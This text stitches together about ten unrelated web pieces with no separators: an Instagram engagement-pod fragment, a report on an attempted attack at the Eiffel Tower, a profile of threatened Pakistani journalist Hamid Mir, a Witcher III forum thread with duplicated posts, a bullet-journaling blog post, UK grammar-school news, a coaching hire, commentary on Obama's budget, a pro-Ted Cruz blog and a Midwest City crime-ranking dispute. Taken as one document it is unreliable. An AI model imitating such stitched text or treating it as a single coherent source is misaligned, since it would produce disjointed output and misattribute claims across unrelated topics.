“We all hated the changes that came about with the introduction of the algorithm,” he said. “This is our way of rolling with the punches, sticking together and ensuring that our universal goal to grow our businesses through the use of the platform is still met. It’s an adaptation.”
“With over 25,000 serious Instagrammers in our pod we are pretty much defining the future of the pods” says Zaraga. At this point “we are rolling out an A.I. bot to help members save time — launching over 30 subnets which would be niche specific and even a free Chrome extension to help members save time invested on catching-up”.
As for the advantages it gives pod members over ones who don’t use it?
The incident at the world-famous tourist site was initially treated as a criminal matter, but was later designated a counter-terrorism case because of the suspect's statements to police and his apparent radicalization, the source said.
The Eiffel Tower was evacuated at about 11:30 pm (2130 GMT) Saturday after an attempted attack by an armed man.
The man was arrested and is being held for questioning, and an investigation was opened by prosecutors.
The attacker, who was apparently alone, was "very quickly overpowered and arrested" and nobody was hurt, a statement by the company that runs the Paris landmark said.
A source close to the investigation said the suspect, a French national born in Mauritania in 1998, had been in a psychiatric hospital for several months and was granted temporary permission to leave care from Aug. 4 to Aug. 6.
During questioning by police, the man stated he had wanted to carry out an attack against a soldier and was in contact with a member of Daesh terrorist group who encouraged him to act, the source said.
After pushing his way past a security guard at the entrance to the Eiffel Tower, the man approached soldiers patrolling at the site and, holding a blade, the source said.
But he complied when the soldiers told him to put down his weapon and offered no resistance when arrested, the source added.
The incident happened about half an hour before the Tower normally stops admitting visitors.
After the arrest, police at the site checked the venue and called for it to be evacuated at around 00:30, 15 minutes before the Eiffel Tower normally closes, the statement added.
The would-be intruder was wearing a Paris Saint-Germain football shirt and at the time of the incident the tower was lit up with the team colors of PSG.
A screen near the bottom of the tower displayed a message welcoming Brazilian star Neymar to the club.
France has been under a state of emergency since the November 2015 terrorist attacks on Paris restaurants, a concert venue and a sporty stadium that left 130 people dead.
At Mir’s office, his curtains are always drawn. He uses at least two cellphones and, until recently, he rotated among three residences to obscure his precise location, even from friends.
Even with all these precautions, Mir is anxious and jittery, most of all when he gets into the back seat of his bulletproof car to drive to the television studios for his show, “Capital Talk”.
“Most nerve-racking part of the day,” says the 49-year-old father of two, clenching the grab bar above him on a recent morning as the driver careens through the city taking last-minute instructions on which roads to take. Mir ignores incoming calls from unknown numbers and swivels from side to side, watching traffic to see whether any vehicle stays too close for too long.
Mir is not just trying to avoid recognition; he also is desperately trying to avoid a repeat of what happened to him a little over a year ago as he was being driven from the airport to the Karachi offices of Geo Television, the network that employs him.
That day, a man standing along the road opened fire on his car.
When the first bullet shattered the rear passenger window and tore through his right shoulder, he actually felt relieved, he said. He was still alive.
But then he realised that four men on two motorcycles were chasing his car through the city streets, guns out.
Bullets pierced his body, including his right thigh, stomach and bladder. By the sixth impact, he began losing consciousness, and his mother, father, wife and children appeared.
“Their faces went around in my head,” he recalled.
The attack on Mir and the continuing death threats against him are emblematic of a broad backlash against transparency and independent journalism in many parts of the world.
Six out of seven citizens have little or no access to insightful reporting about their governments even though the internet has made other types of information ubiquitous, according to organisations that monitor reporting internationally.
Worldwide, the last three years have been particularly hard on those who gather the news: An average of more than one journalist a week has been killed for reasons connected to his or her work, or about 205 journalists, according to the Committee to Protect Journalists, a nonprofit organisation that investigates attacks on the media.
This year, at least 38 more have been killed. The dead include eight “Charlie Hebdo” journalists in Paris, a Brazilian radio broadcaster tortured and shot, an Indian reporter burnt to death for investigating local corruption and a Japanese freelance photographer who was beheaded by Daesh (the self-proclaimed Islamic State of Iraq and the Levant) in Syria.
Pakistan, with its volatile mix of shadowy security forces, internecine political battles, terrorist groups and criminal networks, is one of the most dangerous countries for local journalists outside of war zones, according to the United Nations and press freedom groups. Since 2001, 52 journalists have been killed there because of their reporting. Criminal charges have led to convictions in only two cases.
Who nearly killed Hamid Mir on April 19, 2014, remains a mystery.
In Mir’s case, some elements in the country’s most-feared intelligence agency, Inter-Services Intelligence, or ISI, despise him for his exposés of their double-dealings and secret influence on politics, he says. The Pakistani Taliban and local terrorist networks hate him for his outspoken criticism of their tactics and ideology and for his support of girls’ education. Various political parties revile him for finding corruption in their ranks and for his more tolerant view of India, which they would rather blame for Pakistan’s many ills.
The sunny view of press freedom in Pakistan is that it’s still evolving, moving forward, not backward.
Until 2002, when the government deregulated the media industry, there was only one state-run television station and a handful of heavily regulated radio outlets. Today, many of the licenses for the nearly 90 TV stations, 150 radio outlets and hundreds of newspapers are independently owned.
But media standards vary widely. Bribing reporters for favourable coverage is well-known, as are headlines based on rumours. Most large media outlets are funded by owners who don’t hide their strong political allegiances.
The media wing of Pakistan’s main intelligence service, the ISI, often exerts pressure on news outlets, according to former US diplomatic and intelligence officials. It monitors the news, plants stories and intimidates reporters and editors.
The media wing’s larger goal is to keep the military’s influence on society obscured, its operations secret, and to promote its strategic interests, according to officials. This includes distancing itself publicly from the US, even though its military has received billions in US taxpayer money, records show.
Reports by Mir and other Pakistani journalists on the military’s secret support for the Afghan Taliban and the ISI’s involvement in CIA covert armed drone strikes deeply embarrassed the military establishment.
For a military that has directly controlled the levers of power three times in Pakistan’s history, these accountability stories only deepened its conviction to curb such journalism. International human rights investigations and US State Department reports are filled with allegations of how hard it has tried since 2001.
In the Wild West province of Balochistan, for example, security forces have been blamed by human rights advocates for the deaths and disappearances of many of the thousands of missing civilians. In that province, 13 journalists have been killed since 2008.
Mir produced more than 38 shows on the topic in the two years leading up to the attack on his life.
In 2012, a senior government official warned Mir to stop reporting on it: “Your life is under threat; you should stop raising your voice,” Mir quoted the man as saying.
Mir’s response: Another report on his show about Balochistan’s missing.
In 2002, Mir joined Geo, the up-and-coming television station. His popularity soared as Geo grew into one of the most-watched networks in the country.
Presidents, ambassadors and ministers sought to be on Mir’s “Capital Talk”, a four-nights-a-week news talk show that mixed traditional reporting with opinion. What he said mattered. He moved people to protest. He stirred debates on the touchiest subjects.
“Pakistan is a highly politicised society. ... So there are people who are his real fans in the country and there are people who regard him as sensationalist and are his opponents,” said Zaffar Abbas, editor of “Dawn”, one of the country’s oldest newspapers.
“He has been a controversial person in the eyes of the government, in the eyes of the security establishment, in the eyes of many other people in Pakistan.”
One of Mir’s guests on “Capital Talk” in 2009 was 11-year-old Malala Yousafzai.
The young schoolgirl reminded Mir, he said, of the strong female leaders his father had befriended and defended. On the show, she calmly defied the armed Pakistani Taliban who occupied her isolated Swat Valley.
In 2012, the Taliban shot her in the head as she and her classmates rode in a school van. Mir said he felt as if someone had attacked his young daughter.
That night he exploded on camera: “I have a question for those who attacked her! ... The question is whether you think that after shooting an unarmed and innocent school-going girl you have the right to call yourself a Muslim?”
The reaction to his support for Malala was not universal adoration. Death threats poured in by e-mail, Twitter and phone calls.
He said he realised the depth of his troubles when a police officer sent to protect him at a rally spat at his feet. “Why would you defend Malala?” the man growled. “She is the daughter of a [expletive].”
Several weeks later, a neighbour’s driver spotted an explosive device hidden in the undercarriage of Mir’s car outside his home. A bomb squad defused it. The Pakistani Taliban claimed responsibility, as they had for shooting Malala. A war against Hamid Mir had begun.
He scrambled to defend his life and that of his wife and children.
Mir rented a second house, then an apartment and kept the locations a secret. He moved his family every few days.
The people closest to him, he said, pleaded for him to leave the country.
Two weeks before the attempt by gunmen on Mir’s life, an ISI official beckoned him to come to the Serena Hotel in Islamabad, he said.
There, according to Mir’s affidavit, a senior official “pleaded with me” to stop reporting on the army and the prosecution of former president Pervez Musharraf. He is accused of abrogating the constitution when he declared a state of emergency for six weeks in 2007. Mir had done 44 reports on the issue.
“If the army stops interfering in politics, then I will never do a programme on it again,” he told the man from the ISI, the affidavit says.
The next week, ISI officers came to his home, Mir said. His name was on a hit list, they told him. He told them that he was more worried about them, the ISI.
The evening of the shooting, Mir said he spoke with his wife by telephone. He told her that he didn’t want to travel to Karachi but needed to broadcast a show from the city.
Later that evening as he left the airport, a gunman opened fire as his car slowed to round a corner. His driver sped away. Mir felt additional shots strike him and realised that gunmen on motorcycles had given chase.
“Run away! Run away!” Mir said he told the driver. Then he called his producer on the telephone: “I am under attack. I don’t know where to go.”
The gunmen pursued Mir’s car for 15 minutes, shooting as they gave chase, until his driver pulled into the Aga Khan University Hospital. The motorcycles disappeared into traffic.
At the hospital, Mir, unconscious, was hooked to monitors and blood bags. The nation was riveted. Would he survive? Should he survive?
Some called him a hero; others labelled him a traitor, an agent of India and a CIA spy.
When he awoke two days later, the prime minister, Nawaz Sharif, brought flowers and an assurance: A commission would be created to find the culprits. It has yet to publish its findings.
Weeks later, when Mir was strong enough, he wrote the affidavit, providing investigators the names of people who had threatened him and what they said.
He hadn’t seen the people who shot him, he wrote, but “I suspected that some elements from the ISI were behind the attack.” He recounted for investigators that senior ISI officers had confronted him about his reporting nearly a dozen times.
The assassination attempt had to be ISI-directed, he told investigators. That same day, former president Musharraf was in Karachi, too. The city was on high alert to protect him.
“Only they can manage that the CCTV cameras were not working. And only they could have known about my travel plans,” he wrote.
The Pakistan government “is doing its level best to provide security to journalists”, said Nadeem Hotiana, embassy spokesman, including providing protection to journalists upon request. “The government has intensified efforts to apprehend all criminals involved in such attacks on journalists.” He declined to comment on behalf of the ISI. In the past, the ISI has said it had no involvement in Mir’s assault.
Before Mir was strong enough to get out of bed, his brother appeared on Geo and publicly accused ISI chief Lt Gen Zaheer ul-Islam for being behind the attack. It was a miscalculation of major proportions.
Nationalistic fanatics called Mir and Geo traitors. The ISI was furious. In a statement, it accused Geo of trying to weaken Pakistan. Geo officials apologised in a newspaper advertisement, but when the pressure against the network continued, it sued the intelligence agency. The suit, which is pending, claimed the ISI had wrongly accused the channel of being “anti-Pakistan” and of inciting violence against it.
Mir said the hospital soon asked him, still weak and bedridden, to leave. He was moved to the nearby Marriott hotel, where a room with hospital equipment was set up.
Geo, however, had nowhere to seek refuge. Programming in some cities was blacked out or moved to obscure channels when the government suspended their broadcasting licenses. Many advertisers were intimidated from doing business with Geo.
“The attack absolutely changed everything ... We disappeared, became another missing person,” said Imran Aslam, president of Geo Television.
Mir went back to work only three months after the shooting. He was still on pain medication. “If the Titanic sinks, I want to go down with it,” he told those who said he should leave the country.
Mir realised his life had changed dramatically. Just a few years ago, he would take evening walks in the park and often buy fresh juice before his show.
He can no longer walk anywhere alone. Other journalists at Geo do much of his reporting because meeting sources is almost impossible, except by phone, which he assumes is monitored.
Mir said he has toned down his criticism of military courts and other issues. He rarely reports anymore on Balochistan.
“Survive, then do (journalism),” is his motto now.
His only escapes are trips overseas. Several months ago, he went out to dinner in Dubai with his wife. “It was like a prisoner came out of prison,” he said, cracking a rare smile.
He has sent his children out of the country. He said his wife is angry that he has not left.
Large, yellow concrete barriers fortify the outside of one of his homes on the outskirts of Islamabad. Three guards and barbed wire are conspicuous at what otherwise appears to be a typical middle-class house. The traditional candy and nut bowl is covered in plastic wrap, a sign he’s not usually here.
When Mir travels by car these days, he waits by the front door of his home for his driver to start the vehicle. Once he hears the motor running, he dashes into the back seat, behind tinted window shades.
Twenty minutes later, after Mir’s car passes around the barricades of Geo’s headquarters and through the security gate manned by three guards, does he finally relax. He is eager to get to work.
“He’s out there reporting, covering things that no one else is covering, saying things that no one else is saying. ... It would be devastating if he were in a position where he had to leave,” said Joel Simon, executive director of the Committee to Protect Journalists.
Some believe Mir is motivated by money and fame. Others believe he is driven by a need to defend his colleagues.
“If I leave the country, a lot of young journalists, they will be discouraged,” Mir said he tells his children.
In his office at Geo on a recent morning, Mir looks over at a row of small televisions.
“What should we do the show on?” his producer asks.
They settle on upcoming elections and the gasoline crisis.
As he reads news clips, his production team books guests, writes scripts and creates video pieces. “Nazish, give me the shots of the minister making promises,” Mir calls out as he walks into the production room.
By 6.15pm, Mir is tugging at his left leg and stuffing his chair with extra cushions and stretching. His leg, when it’s not numb, burns in pain from the bullet still lodged in it. A second round is stuck in his lower stomach, and the fragments of a third are near his bladder.
But when the night’s guests begin to arrive — the petroleum minister and a former finance minister — Mir morphs into the focused, charming television star. “I’m going to ask questions” that will leave him “shaking”, he jokes with one guest about another.
At 8.05, he stares straight into the camera: “Bismillah Arrahman Arrahim, Asalamalaikum! Welcome to ‘Capital Talk’!”
Mir barks tough questions. When one guest says the oil shortage is proof that a military takeover is the only way to save the country, Mir lights up. “Martial law has never solved any crisis in Pakistan!” he roars.
During a break, the petroleum minister chuckles: “I don’t usually come on TV. But you have a way of taking information [from] me.”
At 8.55, the show ends. Mir escorts his guests to the elevator, laughing and back-slapping until the doors close.
Then, he huddles with his staff and thinks to himself, “Who have I hurt?” He rushes downstairs.
The answer portends the next round of threats. He inspects the dark parking lot and dashes to the waiting car. Two uniformed, armed guards climb into a second security vehicle. Mir zooms out into the night.
The Witcher III is absolute top class.
When you have a game like this, in which so much effort was put in its intricate detail, you're a real @ss*** to say the game isn't spectacular.
There have been many times in which I've said that a game was really good even though it wasn't my type of game and didn't enjoy it, because there's a lot of respect in acknowledging how much the development team went above and beyond the expectations of those who do enjoy those certain types of games.
But, the Witcher III is seriously the single best RPG ever made and one of the greatest games of all time.
I don't care who you are and what kinds of games you like. If you don't acknowledge this, then you're living in a fantasy land.
You're actually ignorant and defiant towards true top class service. Even if it's not your type of game, to say that the Witcher III Wild Hunt sucks as a whole is basically spitting in the face of top class game production.The Witcher III is absolute top class.When you have a game like this, in which so much effort was put in its intricate detail, you're a real @ss*** to say the game isn't spectacular.There have been many times in which I've said that a game was really good even though it wasn't my type of game and didn't enjoy it, because there's a lot of respect in acknowledging how much the development team went above and beyond the expectations of those who do enjoy those certain types of games.But, the Witcher III is seriously the single best RPG ever made and one of the greatest games of all time.I don't care who you are and what kinds of games you like. If you don't acknowledge this, then you're living in a fantasy land.You're actually ignorant and defiant towards true top class service.
User Info: Shankis Shankis 2 years ago #2 Troll the respawn, Jeremy. I think the combat sucks balls. I like everything else about it.
User Info: BaldursGate BaldursGate 2 years ago #3 The censorship on Gamefaqs is unbelievably stupid. Well if someone doesn't like it, they're never going to say it's phenomenal.
User Info: dueric dueric 2 years ago #4 "It's like people using the internet have never heard of the internet." - SadHillShowdown Gamefaqs member The game is fine. Lots of bugs, fake "free" dlc, and a goty edition that's not compatible with old saves.
User Info: Irony Irony 2 years ago #5 I am Mogar, God of Irony and The Devourer of Topics.
http://i.imgtc.com/tHc3mIo.png http://i.imgtc.com/PYxw8Lm.png It doesn't do anything "phenomenal"
User Info: WretchedOwl WretchedOwl 2 years ago #6
Is it the best RPG of all time? Thats subjective. If you ask me, no. Not saying its the best RPG of all time either, but I had a lot more fun and got way more hours out of Skyrim than I did with TW3. 3 players are killing a single enemy.... enemy is nearly dead... kallari pops up and takes the kill. Wow. Useful charakter. Not! -- Arok_
-- PSN: WretchedOwls Really tired of the whole 'my opinion is better than your opinion' shill on the Witcher. Was it a masterfully executed game? Yes of course it was.Is it the best RPG of all time? Thats subjective. If you ask me, no. Not saying its the best RPG of all time either, but I had a lot more fun and got way more hours out of Skyrim than I did with TW3.
User Info: ZGMF_600_Guaiz ZGMF_600_Guaiz 2 years ago #7 Sieg Zeon! I haven't been interested enough in it to buy it so far. However, I'm willing to give it a shot once the GOTY edition is available at a reduced price.
User Info: Merc123 Merc123 2 years ago #8 Typical Witcher fans, gotta make sure everyone knows how great the game is. Ugh.
User Info: nanofazz97 nanofazz97 (Topic Creator) 2 years ago #9 dueric posted...
a goty edition that's not compatible with old saves.
Honestly, when they said that, I wasn't bummed out at all by it. I love the game way too much.
I'm not anywhere near being finished with the game (I'm only at level 13), so I have no problem restarting the game from scratch.
Taking a day away from talking about books and reading to instead talk about the art and science behind how I get organized and stay productive. Part of it is being inspired by folks like Jane from Dear Author who talked about this at the start of the year, and part of it is that I’ve really taken to bullet journaling and have had a number of people talk about how they want to get into it and don’t understand how it works.
I’ve always been a list keeper. I have notebooks upon notebooks of to-do lists, stretching back to college and earlier. They’re still sitting in boxes and in closets around the house, in the event I need to do something like see where I was in wedding planning back in 2006. Just incase, I guess. I’ve kept a notebook of every book I’ve finished reading since 2000, which sits on the book case in my living room.
When I worked outside of the house, I kept numerous notebooks for lists. Some were for work. Some were for inspiration. Some were for random note taking. For a few years — recent ones — my list keeping and note taking got out of control. I not only had numerous notebooks going, but I also became an unabashed post-it note user. The great thing about post-its is how easy they are to move around, put into notebooks, rearrange, and, as it turns out, throw away. Where I cannot get rid of a notebook with lists, tossing a post-it of tasks I’ve completed away felt like an accomplishment. I enjoyed that.
The downside to throwing out post-its, though? Not being able to see at a glance what sorts of productivity I can achieve within a certain time frame. Am I getting ten things done a day? Three things done a week? What sort of long-term projects require weeks, instead of an hour? Quantifying productivity with post-its and numerous journals just doesn’t work for me.
Enter bullet journal.
If you’re not familiar with the bullet journal, take the three minutes to watch the video which gives an overview of the theory and system:
After watching this, I had more questions than answers. It felt overcomplicated for my own needs while also feeling too simple. Can I really keep numerous lists in one place? Why do I need multiple calendars within the journal? Do I need the journal AND a calendar? Will it make sense to mix up my work-related tasks with my personal tasks? Blog tasks? How will I make sense of all the little symbols and notations?
In short, I watched the video and felt like it was a lot to take in. But I wanted to try it anyway.
A little bit of backstory here: I noted being a journal and note book nerd, but I didn’t mention the level to which this exists. Back in the glory days of Livejournal, I was a member of numerous notebook and journaling communities, and even after, I connected with many folks who were into that, too. Is there something more nerdy than talking about how you journal or stay productive? About what kinds of pens you prefer? About where to score really great notebooks (…and yes, I have preferences on the note books I use and for what purpose)? I knew there’d be people out there showing off how they bullet journal, and while there are some great examples on Tumblr, I knew where the gold mine would be: Pinterest.
Here’s a quick and dirty set of search results for “bullet journal” on Pinterest. While many follow the formula of the original, many diverge. If you spend some time digging around through people’s posts, you’ll find so many variations on the standard bullet journal, and it was through a few hours of time, I was able to cobble together a system that absolutely, positively works for me.
Yes, I am 100% analog in my tasking and I foresee this being the case for a long time. I am better at remembering things when I write them down than I am keeping them in my head or on a digital calendar or document. I have no more post-it notes in my life, and I keep only two notebooks now. One is for almost everything I do (that’s the bullet journal), while the second is my notebook for keeping track of work scheduling of social media, meeting notes, and generally uncategorizeable note taking. I use a large Moleskine with a grid format for the journal, while I use a Chronicle journal for my note taking (this one right now). I am very, very committed and devoted to both of those products for those very specific reasons. It’s partially about size, portability, and quality. Likewise, they sit together neatly on a shelf when I am finished with them, which is important, since I refer back to many of the note-taking notebooks frequently.
This is how I organize my bullet journal, and as the year has progressed and my projects and work have shifted and grown, you’ll see my methods have evolved, too.
I began like the video does, by numbering my pages and creating an index at the front of the journal. This method lasted for approximately 15 pages and two days of January. I don’t care about being that organized. If I do, I can go back later and fill in those gaps. I did end up making a yearly calendar at the beginning of the journal, month by month, with key dates highlighted and marked. I haven’t referred back to this much since creating it, so it’s stayed blank. I’d probably ditch this in future iterations.
At the beginning of each month, I write out a rough events calendar:
This is nothing more than the dates of the month on the left, along with events or important things I ned to remember beside it. On dates with more than one event, I just separate them but put them all on the same line.
On the next page, I keep a single-page monthly task list. This is a list of things I need to do during the month that don’t necessarily have a due date or need to be done by a certain point. I refer back to this every day when I’m working on my daily task lists (getting there in a minute) in order to build those daily to-dos.
Following those pages, I like to make myself a place to track my monthly workouts. Some people do things like Fit Bit or Polar Vortex (which isn’t the real name, but that’s what I call my husband’s fancy tracker). I think I’ve made it clear I’m a paper person.
Following those three key pages, I then flip to the following page for a two-page spread which becomes a place where I keep track of two things during the month: blog post ideas, as well as books I’ve read and books I’d like to read that month. I don’t get to everything on the “to read” list, but that’s become a way for me to keep up with what I’ve been thinking about or wanting to read so when I do finish something and wonder what next, I have a place to turn.
After that, I give myself 3-5 pages which I’ve so creatively titled “miscellaneous.” This is where all of my monthly catch-all to-dos, lists, and other things I can’t forget or want to refer back to end up. Sometimes it’s literally a note about something I need to mention in an email or it’s an address. Something I don’t want to lose or misplace and would want to maybe refer back to at some point. I didn’t include pictures because all of those pages have personal stuff on them, but the important part for me is they exist and they’re there before the daily task lists.
One of the key features of bullet journaling per the video is that people can use a special key to track their events and tasks. This…does not work for me. Instead, I make a running agenda for every single day and mark things off as I go. For important things, like an appointment or call I have to attend to, I usually put a star to note that to myself. Otherwise, it’s a straight list, and I keep the daily task lists to half of a page. That’s all I can reasonably do in a day. Or rather, it’s all I expect myself to try to accomplish in a day that needs to get written down. Some things are so routine, I don’t need to mark them.
Generally, I write out a week of dates at a time. Sometimes I’ll go further. I don’t usually put the day of the week beside the date, but I have done that to keep track periodically. What’s been key for me here is this: I list things I need to do, or a memory cue for them (like “Pinterest” and “Goodreads,” which are things I do for Book Riot) and I mark them off as I accomplish them. When I see there are things being unmarked and unaccomplished, I move them to the next day.
Some people believe in very specific tasks being written. I alternate between specific tasks (“Write a Tumblr post for work about this event doing this”) and cues (“Goodreads,” which simply means do a few things on Goodreads that need to be done that day). It works for me because some things require specific information and other things do not.
If things don’t get done within a week or so — depending on what the task or memory cue is — I reevaluate the task. Do I need to do it? Will I do it? Or is it taking up unnecessary space in my life and it’s time to let go? If something isn’t on my monthly task list and has just been taking up space on my calendar, it’s time to either do the task (like go to the post office, which is a notorious one I hold over) or get rid of it and not think about it again.
By keeping my daily task lists to a week or so planned out, I force myself to make these decisions regularly. I don’t have time to waste writing things down again and again if I’m really not going to do them or if it’s a thing I just need to do and finish.
I keep all of my to-do list in one space. I do not separate out work tasks from personal tasks. I am very good at budgeting my time and energy during the day, so I know how to proceed with those multiple sides to my daily life. I practice energy management as opposed to time management, which I know is a touchy-feely way of getting things done, but it works for me. And since I work from home with an unconventional schedule, I find this method of taking care of things every day really works for me. Basically, I don’t plot things out in time chunks. I plot them out by energy. I know I am more likely to get certain things done in the morning and other things done mid-day. So I look at my lists every day and go from there. (This also tends to be why I am generally very fast at responding to emails or messages I get: as soon as I have the energy for it, I’m tackling it, rather than planning to go at it in one period of time.)
And that’s all.
I don’t do anything else with my bullet journal. I have no fancy secrets or knobs or gadgets. I use the same black ink Pilot pen on every single page. I reevaluate the monthly task lists as I go, and sometimes things get knocked off when they’re accomplished or I know it’s not going to happen.
I’m sold on this method of tracking my life because it’s analog and because I love having both the feeling of accomplishment that comes with marking things off and seeing how much can and cannot get done. More, I have a lot of opportunities to make choices with my time more regularly now that I see how my energy works with me, rather than against me. As a person who has to have control in her life, this is the biggest benefit. I know when and how I can get things done when I see it like this.
Keeping a record of books read, workouts finished, and blog post ideas keeps me motivated. I like seeing those pages full visually. And it’s always nice to know there’s a pile of blog post ideas sitting in line when I feel like I have nothing to work with when I sit down to write.
My bullet journaling came from trial and error, looking at what other people were doing and what would work for my own life. If it’s something that appeals to you but feels overwhelming, I cannot emphasize looking around at how others adapt them and then doing the same for yourself. I started with some idealistic notions on what I’d do with this, but then I let them die away as I realized the key component of bullet journaling for me, aside from organization, was decision making. Where do I invest my time and where do I let things go?
Other resources for getting started in bullet journaling:
Maureen wrote about her own personal methods of bullet journaling earlier this year. As you’ll see we all have methods that work for us. The beauty of bullet journaling is the adaptability of the format.
There’s also a Facebook group for bullet journaling. You can hop in and show off, ask questions, and get ideas for how other people use their journals here.
According to the Education Select Committee ministers have not provided sufficient evidence to show opening new selective schools would improve social mobility and the quality of education for all pupils.
The Tory chair of the committee, Neil Carmichael, said the plan was an “unnecessary distraction” from the aim of making sure children are ready for the world of work.
In one of her first announcements as Prime Minister, Theresa May said she would life the ban on new grammars brought in under Tony Blair's government.
In the face of strong opposition from some Tory colleagues, she has argued the bold move would increase choice for parents and aid social mobility.
But in a new report the cross-party committee of MPs declared today: “The policy aims set out by the Government—especially with respect to closing the attainment gap—differ significantly from the characteristics of grammar schools of the past and present.”
The MPs urged the Government to show how it would close the attainment gap in the wider schools system rather than simply for individual pupils.
And they warned that no admissions system had been proposed that would be “immune to gaming” or end up “being reduced to the ability to pay”.
Mr Carmichael said: “The Government has yet to prove the case for opening a new wave of grammar schools.
“The Prime Minister rightly talks of making Britain a great meritocracy. If the Government wants to push ahead with new grammar schools it must demonstrate how this aids social mobility and improves educational outcomes for all, most especially those from disadvantaged backgrounds.”
He added: “The focus on opening new grammar schools is, in my view, an unnecessary distraction from the need to ensure all our young people are equipped with the skills to compete in the modern workplace.”
MINISTERS 'MUST TAKE NOTICE'
Shadow Education Secretary Angela Rayner said: “When even the Conservative-dominated Education Selection Committee calls Theresa May’s new grammar schools an 'unnecessary distraction', it's time that ministers finally sat up and took notice.
"There is a crisis in teacher recruitment, schools budgets are being cut for the first time in decades and hundreds of thousands of pupils are in super-sized classes.
“The Tories should be keeping their pledge to protect school funding rather than pressing ahead with this policy which will only make things worse for the majority of children."
'ARBITRARY BAN'
Mrs May has pledged that under her new grammars system selective schools should be forced to take in a minimum proportion of pupils from lower income households.
In September last year she said: “For too long we have tolerated a system that contains an arbitrary rule preventing selective schools from being established – sacrificing children’s potential because of dogma and ideology.
The Tigers will announce Ed Orgeron as the team's new defensive line coach on Wednesday, sources confirmed with the Geaux247 staff.
Orgeron was previously head coach at USC in 2013 before sitting out the 2014 season. He was the head coach at Ole Miss from 2005-07, later making stops with the New Orleans Saints and the Tennessee Volunteers, where he was the assistant to the head coach, the defensive line coach and the team's recruiting coordinator.
After graduating from Northwestern State in 1984, Orgeron made coaching stops in Louisiana at NSU, McNeese State and Nicholls State.
$17 Billion Cuts In Context
Obama Budget Cuts Visualization
Obama's "Unsustainable Course" (And what he's NOT doing something about)
Note: There is no audio in the middle portion of this video.
What Does The Federal Budget Freeze Look Like?
For more on budgetary math behind the freeze please see What Does the Federal Budget Freeze Look Like?
The amount saved from this freeze has been consistently reported as $15 billion in the first year and $250 billion over 10 years. I hate the “we’re saving $250 billion over 10 years” line. It is a piece of crass political rhetoric and I’m disappointed that the administration would use it. If they actually implement a three year freeze on the portion of the budget they’re talking about (which is a big if, but let’s assume the best), why measure the effects in the space of 10 years?
The answer is “To make the freeze look bigger”.
They might as well say that they’re saving a trillion dollars over the next 25 years or a hundred trillion over the next 300 years. It is a data statement designed to trick people.
Second, I hate the “We’re saving all this money by not spending it” line because it is similarly political. If a future politician wants to play this stupid numbers game, all they have to do is “project” that they will spend like a crazy person next year and when the next year comes, they decided to spend like a half crazy person. Then they can claim that they have “saved” all this money because they “reduced” their projected spending.
Keep in mind the hypocrisy on both sides of the aisle. Overall, it looks like both sides are more interested in political gain than in having a frank discussion about the numbers and what they mean. This should surprise no one, but I confess to finding myself somewhat dismayed that the Obama administration, for all their hype about being pro-science and pro-data, has no problem spinning the numbers in a way that decreases clear comprehension in order to increase message potency.
I first learned about Senator Ted Cruz on Facebook. A lady I with whom I was connected, from the Ron Paul 2012 campaign, volunteered on Ted’s Texas Senate race. Not long thereafter, the Republican Liberty Caucus endorsed Ted’s Senate Race as well as Senator Rand Paul and, the champion of the Constitution, Congressman Ron Paul. In May, 2012, Ron and Rand traveled to Austin TX to campaign for Ted Cruz for Senate.
I donated 25 bucks to this Ted guy because of his liberty movement credentials: The RLC,Young Americans for Liberty, RonPaul, Mike Lee, and Rand Paul were worthy endorsements and the idea that Ted could “Unite the Right” appealed to me:
Cruz has been endorsed by Sarah Palin, Rand Paul, George Will, Mark Levin, Jim DeMint, James Dobson, Sean Hannity, Ron Paul, FreedomWorks, the Club for Growth, the Tea Party Express and countless prominent conservative individuals and groups. No other Senate primary candidate in the country has come close to securing such an impressive breadth of endorsements.
Instead of fighting amongst each other, it would behoove right-wing activists to unite around candidates like Cruz as they face big-government opponents within their own party. We conservatives must arm our movement with a House and a Senate willing to stand up to a big-spending president regardless of his partisan affiliation. Ted Cruz is a man I’m confident will join brilliant elected officials like Rand Paul, Mike Lee, Tom Coburn, Jim DeMint and Justin Amash in that fight — a fight crucial to putting America back on the road to fiscal sanity and economic prosperity.
Ted Cruz was a candidate who could unite the fractured, grass roots movement conservatives, appeal to libertarians, and stand for tea party principles in an articulate manner. Of course, I expected him to moderate once he got to DC like Jeff Flake, Pat Toomey, and Jason Chaffetz. Boy was I wrong.
My title may rub some people the wrong way but hear me out–no member of Congress, since 2012, has taken the lead in more principled stands, against big government, than Senator Ted Cruz. It’s made him unpopular among Democrats but equally as unpopular among 20th Century Republican legacy Congressmen. Cruz led the fight to defund Obamacare, protect internet freedom, oppose Iran’s state sponsorship, defund Planned Parenthood, and defend the Second Amendment. He is the only Presidential candidate to propose complete abolition of the IRS and one of two talking about auditing the Federal Reserve Bank.
Leading principled fights, regardless of whom he upsets in DC. That sounds like Dr. Ron Paul to me.
More importantly, Ted Cruz is the right messenger. He has a strategy to win the White House, is in the top two in fundraising, and has a ground team with its sights set on winning the “SEC primary”. Ted Cruz is running the best campaign among the Republican candidates. Ted is a close second choice to Rand Paul among Liberty Republicans
Ted Cruz could unite the right in a way no other candidate has done since 1980. While he’s not Ron Paul, Ron Paul’s son is no Ron Paul. The man won’t ever be duplicated in my lifetime.
MIDWEST CITY, Okla. – People often think suburbs are safer than big cities but a new study says that is not always the case.
In fact, it says one of the suburbs surrounding Oklahoma City is among the nation’s most dangerous.
According to new data released by the Movoto Real Estate Blog, Midwest City is the fourth most dangerous suburb in the country.
Researchers analyzed crime data for 120 suburbs across America that were taken from the FBI’s Crime Report.
They examined the number of murders, rapes, robberies, property crimes and total crimes.
Officials then compared them against the number of people who live there.
City officials and residents were shocked by the findings.
Joe Daugherty says, “They put us on a top ten in America?”
Connie Allison says, "It kind of made me stop and think like, did I hear that correctly?"
Dangerous is not the first thing that comes to mind when some residents think of Midwest City.
Chief of Police Brandon Clabes says, “So when someone does an internet search of Midwest City guess what pops up?”
One of the first results is this top ten list, claiming 1 in 17 people will be a victim of a crime in Midwest City.
Chief Clabes says, “When I first read the report I had a sickness in my stomach and I felt like I got sucker punched.”
Chief Clabes is questioning where the blog's researchers are getting their numbers.
According to his statistics, in 2013 1 in every 60 people were a victim of a crime in Midwest City.
He says they've even widened that margin from years past.
In 2009 1 in every 50 people were a victim of a crime.
To him, they've made Midwest City safer.
Clabes thinks the entire community takes a hit from lists like these, from the police department to the chamber of commerce.
He says a simple Google search might deter someone from visiting, shopping or living here.
